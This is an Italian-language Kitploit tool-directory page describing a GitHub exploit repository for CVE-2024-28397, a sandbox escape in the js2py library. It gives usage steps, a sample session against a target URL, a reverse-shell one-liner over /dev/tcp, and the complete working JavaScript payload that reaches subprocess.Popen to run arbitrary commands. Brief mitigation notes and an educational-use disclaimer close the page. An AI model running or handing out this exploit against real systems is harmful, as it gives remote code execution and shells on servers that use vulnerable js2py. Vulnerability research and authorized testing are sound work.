Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
js2py-Sandbox-Escape-CVE-2024-28397-RCE — Script di exploit per CVE-2024-28397, una sandbox escape di js2py che esegue codice Python arbitrario per generare una reverse shell su un endpoint target. | Kitploit
Strumenti/GitHubGitHub/0xdtc/js2py-sandbox-escape-cve-2024-28397-rce
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneStrumento di Accesso Remoto
GitHub0xdtc/js2py-sandbox-escape-cve-2024-28397-rce

js2py-Sandbox-Escape-CVE-2024-28397-RCE

Script di exploit per CVE-2024-28397, una sandbox escape di js2py che esegue codice Python arbitrario per generare una reverse shell su un endpoint target.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
360 anni faNon ancora revisionato
Condividi

CVE-2024-28397 Exploit di Escape della Sandbox js2py

Una raccolta di script di exploit che mirano alla vulnerabilità di escape della sandbox js2py (CVE-2024-28397) che consente l'esecuzione arbitraria di codice tramite introspezione di oggetti Python.

🔍 Panoramica della Vulnerabilità

La libreria js2py contiene una vulnerabilità critica di escape della sandbox che consente agli aggressori di eseguire codice Python arbitrario accedendo a oggetti Python interni tramite il metodo Object.getOwnPropertyNames() di JavaScript.

Dettagli Tecnici

  • CVE ID: CVE-2024-28397
  • Libreria Affetta: js2py (traduttore da JavaScript a Python)
  • Vettore di Attacco: Escape della sandbox tramite introspezione di oggetti Python
  • Impatto: Esecuzione Remota di Codice (RCE)

📋 Analisi dei Riferimenti

Questo exploit si basa sull'analisi completa di Marven11:

  • Documento di Analisi: CVE-2024-28397 js2py Sandbox Escape Analysis

🛠️ Script di Exploit

Questo repository contiene tre diverse implementazioni:

1. Script Bash (exploit.sh)

Implementazione bash leggera che utilizza curl e jq.

2. Script Go (exploit.go)

Implementazione Go multipiattaforma con client HTTP integrato.

🚀 Avvio Rapido

Prerequisiti

  • Per lo script Bash: curl, jq, base64
  • Per lo script Go: Go 1.16+

Utilizzo

Tutti gli script sono interattivi e chiederanno le informazioni necessarie:

root@kitploit:~
# Bash version
chmod +x exploit.sh
./exploit.sh

# Go version
go run exploit.go

Prompt Interattivi

Ogni script chiederà:

  1. URL Target: L'endpoint che esegue codice js2py vulnerabile
  2. Il tuo IP: L'indirizzo IP della tua macchina per la reverse shell
  3. La tua Porta: Numero di porta per la connessione della reverse shell

Esempio di Sessione

root@kitploit:~
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}

🎯 Come Funziona

1. Generazione del Payload

L'exploit crea dinamicamente un comando di reverse shell:

root@kitploit:~
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1

2. Codifica Base64

Il comando shell viene codificato in base64 per una trasmissione sicura:

root@kitploit:~
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)

3. Escape della Sandbox JavaScript

L'exploit principale utilizza JavaScript per accedere agli oggetti interni di Python:

root@kitploit:~
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
        if(item.__name__ != "type") {
            let result = findpopen(item);
            if(result) return result;
        }
    }
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

4. Flusso di Esecuzione

  1. Accedi al sistema di oggetti di Python tramite Object.getOwnPropertyNames({})
  2. Naviga verso le classi base tramite __class__.__base__.__getattribute__
  3. Cerca nelle sottoclassi subprocess.Popen
  4. Esegui comandi di sistema arbitrari tramite Popen

🛡️ Mitigazione

  • Aggiorna js2py a una versione patchata
  • Implementa una corretta validazione e sanificazione degli input
  • Usa alternative di sandboxing sicure
  • Applica misure di sicurezza a difesa in profondità

📚 Scopo Educativo

Questi script sono forniti solo per scopi educativi e di test autorizzati. Assicurati sempre di avere la dovuta autorizzazione prima di testare qualsiasi sistema.

🔗 Riferimenti

  • Voce Ufficiale CVE-2024-28397
  • Analisi Dettagliata di Marven11
  • Repository GitHub di js2py

⚖️ Dichiarazione di Esclusione di Responsabilità

Questo software è fornito solo per scopi educativi e di test di sicurezza autorizzati. Gli utenti sono responsabili del rispetto delle leggi applicabili e dell'ottenimento della dovuta autorizzazione prima dell'uso.

Scarica lo strumento